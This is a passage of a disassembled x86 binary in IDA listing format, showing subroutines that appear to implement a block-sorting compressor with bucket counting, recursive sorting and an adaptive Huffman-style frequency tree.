		mov	ecx, [ebp+var_7C]
		mov	edx, [ebp+var_80]
		mov	[ecx], edx
		mov	eax, [ebp+var_9C]
		mov	ecx, [eax+18h]
		mov	edx, [ebp+var_88]
		lea	eax, [ecx+edx*4]
		mov	[ebp+var_70], eax
		mov	ecx, [ebp+var_9C]
		mov	edx, [ecx+18h]
		mov	eax, [ebp+var_8C]
		lea	ecx, [edx+eax*4]
		mov	[ebp+var_74], ecx
		mov	edx, [ebp+var_70]
		mov	eax, [edx]
		mov	[ebp+var_84], eax
		mov	ecx, [ebp+var_70]
		mov	edx, [ebp+var_74]
		mov	eax, [edx]
		mov	[ecx], eax
		mov	ecx, [ebp+var_74]
		mov	edx, [ebp+var_84]
		mov	[ecx], edx


loc_48E5AA:				; CODE XREF: sub_48E26C+25Ej
					; sub_48E26C+292j
		jmp	loc_48E897
; ---------------------------------------------------------------------------


loc_48E5AF:				; CODE XREF: sub_48E26C+E6j
		cmp	[ebp+arg_8], 0
		jz	loc_48E68A


loc_48E5B9:				; CODE XREF: sub_48E26C+414j
		mov	eax, 1
		test	eax, eax
		jz	loc_48E685
		mov	ecx, [ebp+var_9C]
		mov	edx, [ecx+18h]
		mov	eax, [ebp+arg_0]
		lea	ecx, [edx+eax*4]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_9C]
		mov	eax, [edx+18h]
		mov	ecx, [ebp+arg_4]
		lea	edx, [eax+ecx*4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], eax


loc_48E5F0:				; CODE XREF: sub_48E26C+3CEj
		mov	ecx, [ebp+var_4]
		cmp	ecx, [ebp+var_8]
		jnb	short loc_48E63C
		mov	edx, [ebp+var_9C]
		mov	eax, [edx+0Ch]
		mov	ecx, [ebp+var_14]
		mov	edx, [eax+ecx*4]
		mov	[ebp+var_90], edx
		mov	eax, [ebp+var_14]
		add	eax, 1
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+var_90]
		push	edx
		mov	ecx, [ebp+var_9C]
		call	sub_48DA60
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		mov	edx, [ebp+var_4]
		add	edx, 4
		mov	[ebp+var_4], edx
		jmp	short loc_48E5F0
; ---------------------------------------------------------------------------


loc_48E63C:				; CODE XREF: sub_48E26C+38Aj
		push	80000000h
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, [ebp+var_9C]
		call	sub_48DCFB
		mov	edx, [ebp+var_9C]
		mov	eax, [edx+18h]
		mov	ecx, [ebp+var_9C]
		mov	edx, [ecx+18h]
		mov	ecx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, [eax+ecx*4]
		cmp	eax, [edx+esi*4-4]
		jz	short loc_48E677
		jmp	short loc_48E685
; ---------------------------------------------------------------------------


loc_48E677:				; CODE XREF: sub_48E26C+407j
		mov	ecx, [ebp+arg_8]
		add	ecx, 4
		mov	[ebp+arg_8], ecx
		jmp	loc_48E5B9
; ---------------------------------------------------------------------------


loc_48E685:				; CODE XREF: sub_48E26C+354j
					; sub_48E26C+409j
		jmp	loc_48E77C
; ---------------------------------------------------------------------------


loc_48E68A:				; CODE XREF: sub_48E26C+347j
		mov	edx, [ebp+var_9C]
		mov	eax, [edx+18h]
		mov	ecx, [ebp+arg_0]
		lea	edx, [eax+ecx*4]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_9C]
		mov	ecx, [eax+18h]
		mov	edx, [ebp+arg_4]
		lea	eax, [ecx+edx*4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_14], ecx


loc_48E6B4:				; CODE XREF: sub_48E26C+4F3j
		mov	edx, [ebp+var_4]
		cmp	edx, [ebp+var_8]
		jnb	loc_48E764
		mov	eax, [ebp+var_9C]
		mov	ecx, [eax+0Ch]
		mov	edx, [ebp+var_14]
		mov	eax, [ecx+edx*4]
		mov	[ebp+var_94], eax
		mov	ecx, [ebp+var_14]
		add	ecx, 1
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_9C]
		mov	eax, [ebp+var_94]
		cmp	eax, [edx+8]
		jnb	short loc_48E731
		mov	ecx, [ebp+var_94]
		xor	edx, edx
		mov	dl, [ecx]
		shl	edx, 18h
		mov	eax, [ebp+var_94]
		xor	ecx, ecx
		mov	cl, [eax+1]
		shl	ecx, 10h
		or	edx, ecx
		mov	eax, [ebp+var_94]
		xor	ecx, ecx
		mov	cl, [eax+2]
		shl	ecx, 8
		or	edx, ecx
		mov	eax, [ebp+var_94]
		xor	ecx, ecx
		mov	cl, [eax+3]
		or	edx, ecx
		mov	[ebp+var_98], edx
		jmp	short loc_48E74B
; ---------------------------------------------------------------------------


loc_48E731:				; CODE XREF: sub_48E26C+481j
		push	0
		mov	edx, [ebp+var_94]
		push	edx
		mov	ecx, [ebp+var_9C]
		call	sub_48DA60
		mov	[ebp+var_98], eax


loc_48E74B:				; CODE XREF: sub_48E26C+4C3j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_98]
		mov	[eax], ecx
		mov	edx, [ebp+var_4]
		add	edx, 4
		mov	[ebp+var_4], edx
		jmp	loc_48E6B4
; ---------------------------------------------------------------------------


loc_48E764:				; CODE XREF: sub_48E26C+44Ej
		push	80000000h
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, [ebp+var_9C]
		call	sub_48DCFB


loc_48E77C:				; CODE XREF: sub_48E26C:loc_48E685j
		mov	edx, [ebp+var_9C]
		mov	eax, [edx+18h]
		mov	ecx, [ebp+arg_0]
		lea	edx, [eax+ecx*4]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_9C]
		mov	ecx, [eax+18h]
		mov	edx, [ebp+arg_4]
		lea	eax, [ecx+edx*4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		mov	[ebp+var_C], 0


loc_48E7C1:				; CODE XREF: sub_48E26C:loc_48E86Aj
		mov	edx, [ebp+var_4]
		cmp	edx, [ebp+var_8]
		jnb	loc_48E86F
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+var_4]
		sar	eax, 2
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 100h
		jbe	short loc_48E7F0
		mov	ecx, [ebp+var_14]
		add	ecx, 100h
		mov	[ebp+var_18], ecx
		jmp	short loc_48E7F9
; ---------------------------------------------------------------------------


loc_48E7F0:				; CODE XREF: sub_48E26C+574j
		mov	edx, [ebp+var_18]
		add	edx, [ebp+var_14]
		mov	[ebp+var_18], edx


loc_48E7F9:				; CODE XREF: sub_48E26C+582j
					; sub_48E26C+5FCj
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+var_18]
		jnb	short loc_48E86A
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		cmp	edx, [ebp+var_10]
		jnz	short loc_48E81F
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		jmp	short loc_48E85F
; ---------------------------------------------------------------------------


loc_48E81F:				; CODE XREF: sub_48E26C+59Dj
		cmp	[ebp+var_C], 0
		jz	short loc_48E84E
		mov	edx, [ebp+arg_8]
		add	edx, 4
		push	edx
		mov	eax, [ebp+var_14]
		push	eax
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	edx, [ebp+var_14]
		sub	edx, ecx
		push	edx
		mov	ecx, [ebp+var_9C]
		call	sub_48E26C
		mov	[ebp+var_C], 0


loc_48E84E:				; CODE XREF: sub_48E26C+5B7j
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_4]
		add	edx, 4
		mov	[ebp+var_4], edx


loc_48E85F:				; CODE XREF: sub_48E26C+5B1j
		mov	eax, [ebp+var_14]
		add	eax, 1
		mov	[ebp+var_14], eax
		jmp	short loc_48E7F9
; ---------------------------------------------------------------------------


loc_48E86A:				; CODE XREF: sub_48E26C+593j
		jmp	loc_48E7C1
; ---------------------------------------------------------------------------


loc_48E86F:				; CODE XREF: sub_48E26C+55Bj
		cmp	[ebp+var_C], 0
		jz	short loc_48E897
		mov	ecx, [ebp+arg_8]
		add	ecx, 4
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	ecx, [ebp+arg_4]
		sub	ecx, eax
		push	ecx
		mov	ecx, [ebp+var_9C]
		call	sub_48E26C


loc_48E897:				; CODE XREF: sub_48E26C:loc_48E344j
					; sub_48E26C:loc_48E5AAj ...
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_48E26C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48E89E	proc near		; CODE XREF: sub_48EA9D+1Cp

var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
Dst		= dword	ptr -810h
var_410		= dword	ptr -410h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 81Ch
		mov	[ebp+var_81C], ecx
		mov	eax, [ebp+var_81C]
		mov	ecx, [ebp+arg_4]
		mov	[eax+10h], ecx
		mov	edx, [ebp+var_81C]
		mov	eax, [ebp+arg_0]
		mov	[edx], eax
		mov	ecx, [ebp+var_81C]
		mov	edx, [ecx]
		mov	eax, [ebp+var_81C]
		add	edx, [eax+10h]
		mov	ecx, [ebp+var_81C]
		mov	[ecx+4], edx
		mov	edx, [ebp+var_81C]
		mov	eax, [edx+4]
		sub	eax, 4
		mov	ecx, [ebp+var_81C]
		mov	[ecx+8], eax
		mov	edx, [ebp+var_81C]
		mov	eax, [ebp+arg_8]
		mov	[edx+0Ch], eax
		mov	ecx, [ebp+var_81C]
		mov	dword ptr [ecx+14h], 0
		mov	edx, [ebp+var_81C]
		mov	eax, [edx+10h]
		shl	eax, 2
		push	eax
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp+var_818], eax
		mov	ecx, [ebp+var_81C]
		mov	edx, [ebp+var_818]
		mov	[ecx+18h], edx
		push	400h		; Size
		push	0		; Val
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	_memset_0
		add	esp, 0Ch
		mov	ecx, [ebp+var_81C]
		mov	edx, [ecx]
		mov	[ebp+var_4], edx
		jmp	short loc_48E962
; ---------------------------------------------------------------------------


loc_48E959:				; CODE XREF: sub_48E89E+F1j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_48E962:				; CODE XREF: sub_48E89E+B9j
		mov	ecx, [ebp+var_81C]
		mov	edx, [ebp+var_4]
		cmp	edx, [ecx+4]
		jnb	short loc_48E991
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, [ebp+ecx*4+Dst]
		add	edx, 1
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	[ebp+ecx*4+Dst], edx
		jmp	short loc_48E959
; ---------------------------------------------------------------------------


loc_48E991:				; CODE XREF: sub_48E89E+D0j
		mov	[ebp+var_10], 0
		mov	[ebp+var_814], 0
		jmp	short loc_48E9C3
; ---------------------------------------------------------------------------


loc_48E9A4:				; CODE XREF: sub_48E89E+13Ej
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_814]
		add	eax, [ebp+edx*4+Dst]
		mov	[ebp+var_814], eax
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx


loc_48E9C3:				; CODE XREF: sub_48E89E+104j
		cmp	[ebp+var_10], 100h
		jge	short loc_48E9DE
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_814]
		mov	[ebp+edx*4+var_410], eax
		jmp	short loc_48E9A4
; ---------------------------------------------------------------------------


loc_48E9DE:				; CODE XREF: sub_48E89E+12Cj
		mov	ecx, [ebp+var_81C]
		mov	edx, [ecx]
		mov	[ebp+var_8], edx
		jmp	short loc_48E9F4
; ---------------------------------------------------------------------------


loc_48E9EB:				; CODE XREF: sub_48E89E+1A0j
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_48E9F4:				; CODE XREF: sub_48E89E+14Bj
		mov	ecx, [ebp+var_81C]
		mov	edx, [ebp+var_8]
		cmp	edx, [ecx+4]
		jnb	short loc_48EA40
		mov	eax, [ebp+var_8]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, [ebp+ecx*4+var_410]
		mov	eax, [ebp+var_81C]
		mov	ecx, [eax+0Ch]
		mov	eax, [ebp+var_8]
		mov	[ecx+edx*4], eax
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+edx*4+var_410]
		add	eax, 1
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dl, [ecx]
		mov	[ebp+edx*4+var_410], eax
		jmp	short loc_48E9EB
; ---------------------------------------------------------------------------


loc_48EA40:				; CODE XREF: sub_48E89E+162j
		mov	[ebp+var_C], 0
		jmp	short loc_48EA52
; ---------------------------------------------------------------------------


loc_48EA49:				; CODE XREF: sub_48E89E:loc_48EA95j
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax


loc_48EA52:				; CODE XREF: sub_48E89E+1A9j
		cmp	[ebp+var_C], 100h
		jge	short loc_48EA97
		mov	ecx, [ebp+var_C]
		cmp	[ebp+ecx*4+Dst], 1
		jbe	short loc_48EA95
		push	0
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+edx*4+var_410]
		push	eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+ecx*4+var_410]
		sub	eax, [ebp+edx*4+Dst]
		push	eax
		mov	ecx, [ebp+var_81C]
		call	sub_48E26C


loc_48EA95:				; CODE XREF: sub_48E89E+1C8j
		jmp	short loc_48EA49
; ---------------------------------------------------------------------------


loc_48EA97:				; CODE XREF: sub_48E89E+1BBj
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_48E89E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48EA9D	proc near		; CODE XREF: sub_48D2A6+2Ep

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		lea	ecx, [ebp+var_1C]
		call	sub_48E89E
		mov	eax, [ebp+var_4]
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+var_20]
		push	ecx
		call	sub_4C85D6
		add	esp, 4
		mov	esp, ebp
		pop	ebp
		retn
sub_48EA9D	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48EAE0	proc near		; CODE XREF: .text:0048D069p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	esi
		mov	byte_4F36B8, 0
		push	1
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		lea	ecx, [ebp+var_18]
		call	sub_48F5D0
		lea	edx, [ebp+var_18]
		push	edx
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_48EB81
		add	esp, 0Ch
		mov	eax, [ebp+var_18]
		add	eax, 1
		mov	esi, [ebp+var_C]
		sub	esi, eax
		mov	cl, [ebp+var_14]
		push	ecx
		lea	ecx, [ebp+var_18]
		call	sub_48F644
		lea	esi, [eax+esi*8]
		mov	dl, [ebp+var_4]
		push	edx
		lea	ecx, [ebp+var_18]
		call	sub_48F644
		mov	ecx, 8
		sub	ecx, eax
		add	esi, ecx
		mov	[ebp+var_1C], esi
		mov	edx, [ebp+var_1C]
		add	edx, 7
		shr	edx, 3
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	cl, [ebp+var_3]
		mov	byte ptr [ebp+var_20], cl
		mov	edx, [ebp+var_20]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_48EB70
		mov	byte_4F36B8, 1


loc_48EB70:				; CODE XREF: sub_48EAE0+87j
		xor	eax, eax
		mov	al, byte_4F36B8
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_48EAE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48EB81	proc near		; CODE XREF: sub_48EAE0+2Ep

var_2448	= dword	ptr -2448h
var_2444	= dword	ptr -2444h
var_2440	= byte ptr -2440h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 2448h
		call	__alloca_probe_0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+arg_4]
		mov	[ebp+var_2444],	ecx
		lea	edx, [ebp+var_2440]
		push	edx
		call	sub_48EC28
		add	esp, 4


loc_48EBAF:				; CODE XREF: sub_48EB81+89j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_2444]
		jnb	short loc_48EC0C
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_2448], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+var_2448]
		and	edx, 0FFh
		push	edx
		lea	eax, [ebp+var_2440]
		push	eax
		call	sub_48ED1D
		add	esp, 0Ch
		mov	ecx, [ebp+var_2448]
		and	ecx, 0FFh
		push	ecx
		lea	edx, [ebp+var_2440]
		push	edx
		call	sub_48EDD3
		add	esp, 8
		jmp	short loc_48EBAF
; ---------------------------------------------------------------------------


loc_48EC0C:				; CODE XREF: sub_48EB81+37j
		mov	eax, [ebp+arg_8]
		push	eax
		push	100h
		lea	ecx, [ebp+var_2440]
		push	ecx
		call	sub_48ED1D
		add	esp, 0Ch
		mov	esp, ebp
		pop	ebp
		retn
sub_48EB81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48EC28	proc near		; CODE XREF: sub_48EB81+26p
					; sub_48F434+29p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+418h], 1
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+414h], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+40Ch], 2
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+410h], 0FFFFFFFFh
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+428h], 100h
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+424h], 1
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+41Ch], 1
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+420h], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+400h], 1
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+438h], 101h
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+434h], 1
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+42Ch], 1
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+430h], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+404h], 2
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+408h], 3
		mov	[ebp+var_4], 0
		jmp	short loc_48ED01
; ---------------------------------------------------------------------------


loc_48ECF8:				; CODE XREF: sub_48EC28+EFj
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_48ED01:				; CODE XREF: sub_48EC28+CEj
		cmp	[ebp+var_4], 100h
		jge	short loc_48ED19
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+ecx*4], 0FFFFFFFFh
		jmp	short loc_48ECF8
; ---------------------------------------------------------------------------


loc_48ED19:				; CODE XREF: sub_48EC28+E0j
		mov	esp, ebp
		pop	ebp
		retn
sub_48EC28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48ED1D	proc near		; CODE XREF: sub_48EB81+65p
					; sub_48EB81+9Bp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_C], 0
		mov	[ebp+var_10], 1
		mov	[ebp+var_8], 0
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4]
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_48ED56
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+404h]
		mov	[ebp+var_4], ecx


loc_48ED56:				; CODE XREF: sub_48ED1D+2Bj
					; sub_48ED1D+76j
		cmp	[ebp+var_4], 0
		jz	short loc_48ED95
		mov	edx, [ebp+var_4]
		and	edx, 1
		test	edx, edx
		jnz	short loc_48ED6F
		mov	eax, [ebp+var_C]
		or	eax, [ebp+var_10]
		mov	[ebp+var_C], eax


loc_48ED6F:				; CODE XREF: sub_48ED1D+47j
		mov	ecx, [ebp+var_10]
		shl	ecx, 1
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax+410h]
		mov	[ebp+var_4], edx
		jmp	short loc_48ED56
; ---------------------------------------------------------------------------


loc_48ED95:				; CODE XREF: sub_48ED1D+3Dj
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+var_C]
		push	ecx
		mov	ecx, [ebp+arg_8]
		call	sub_48F734
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+edx*4], 0FFFFFFFFh
		jnz	short loc_48EDCF
		push	8
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	ecx, [ebp+arg_8]
		call	sub_48F734
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_48F2BB
		add	esp, 8


loc_48EDCF:				; CODE XREF: sub_48ED1D+92j
		mov	esp, ebp
		pop	ebp
		retn
sub_48ED1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48EDD3	proc near		; CODE XREF: sub_48EB81+81p
					; sub_48F434+8Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	esi
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+40Ch], 8000h
		jnz	short loc_48EDF5
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_48EEAD
		add	esp, 4


loc_48EDF5:				; CODE XREF: sub_48EDD3+14j
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+edx*4]
		mov	[ebp+var_8], ecx


loc_48EE01:				; CODE XREF: sub_48EDD3+D0j
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	loc_48EEA8
		mov	edx, [ebp+var_8]
		shl	edx, 4
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+edx+40Ch]
		add	ecx, 1
		mov	edx, [ebp+var_8]
		shl	edx, 4
		mov	eax, [ebp+arg_0]
		mov	[eax+edx+40Ch],	ecx
		mov	ecx, [ebp+var_8]
		mov	[ebp+var_4], ecx
		jmp	short loc_48EE3F
; ---------------------------------------------------------------------------


loc_48EE36:				; CODE XREF: sub_48EDD3:loc_48EE6Cj
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx


loc_48EE3F:				; CODE XREF: sub_48EDD3+61j
		cmp	[ebp+var_4], 0
		jle	short loc_48EE6E
		mov	eax, [ebp+var_4]
		sub	eax, 1
		shl	eax, 4
		mov	ecx, [ebp+var_8]
		shl	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	esi, [ebp+arg_0]
		mov	eax, [edx+eax+40Ch]
		cmp	eax, [esi+ecx+40Ch]
		jb	short loc_48EE6C
		jmp	short loc_48EE6E
; ---------------------------------------------------------------------------


loc_48EE6C:				; CODE XREF: sub_48EDD3+95j
		jmp	short loc_48EE36
; ---------------------------------------------------------------------------


loc_48EE6E:				; CODE XREF: sub_48EDD3+70j
					; sub_48EDD3+97j
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+var_4]
		jz	short loc_48EE90
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_48F125
		add	esp, 0Ch
		mov	edx, [ebp+var_4]
		mov	[ebp+var_8], edx


loc_48EE90:				; CODE XREF: sub_48EDD3+A1j
		mov	eax, [ebp+var_8]
		shl	eax, 4
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax+410h]
		mov	[ebp+var_8], edx
		jmp	loc_48EE01
; ---------------------------------------------------------------------------


loc_48EEA8:				; CODE XREF: sub_48EDD3+32j
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_48EDD3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48EEAD	proc near		; CODE XREF: sub_48EDD3+1Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+408h]
		sub	ecx, 1
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		mov	[ebp+var_8], edx
		jmp	short loc_48EED3
; ---------------------------------------------------------------------------


loc_48EECA:				; CODE XREF: sub_48EEAD:loc_48EF50j
		mov	eax, [ebp+var_8]
		sub	eax, 1
		mov	[ebp+var_8], eax


loc_48EED3:				; CODE XREF: sub_48EEAD+1Bj
		cmp	[ebp+var_8], 0
		jl	short loc_48EF55
		mov	ecx, [ebp+var_8]
		shl	ecx, 4
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+ecx+414h], 0
		jz	short loc_48EF50
		mov	eax, [ebp+var_8]
		shl	eax, 4
		mov	ecx, [ebp+arg_0]
		lea	edx, [ecx+eax+40Ch]
		mov	eax, [ebp+var_C]
		shl	eax, 4
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax+40Ch]
		mov	ecx, [edx]
		mov	[eax], ecx
		mov	ecx, [edx+4]
		mov	[eax+4], ecx
		mov	ecx, [edx+8]
		mov	[eax+8], ecx
		mov	edx, [edx+0Ch]
		mov	[eax+0Ch], edx
		mov	eax, [ebp+var_C]
		shl	eax, 4
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax+40Ch]
		add	edx, 1
		shr	edx, 1
		mov	eax, [ebp+var_C]
		shl	eax, 4
		mov	ecx, [ebp+arg_0]
		mov	[ecx+eax+40Ch],	edx
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx


loc_48EF50:				; CODE XREF: sub_48EEAD+3Dj
		jmp	loc_48EECA
; ---------------------------------------------------------------------------


loc_48EF55:				; CODE XREF: sub_48EEAD+2Aj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+408h]
		sub	ecx, 2
		mov	[ebp+var_8], ecx
		jmp	short loc_48EF78
; ---------------------------------------------------------------------------


loc_48EF66:				; CODE XREF: sub_48EEAD+1DAj
		mov	edx, [ebp+var_8]
		sub	edx, 2
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_C]
		sub	eax, 1
		mov	[ebp+var_C], eax


loc_48EF78:				; CODE XREF: sub_48EEAD+B7j
		cmp	[ebp+var_C], 0
		jl	loc_48F08C
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_8]
		shl	edx, 4
		mov	eax, [ebp+var_10]
		shl	eax, 4
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+edx+40Ch]
		mov	ecx, [ebp+arg_0]
		add	edx, [ecx+eax+40Ch]
		mov	eax, [ebp+var_C]
		shl	eax, 4
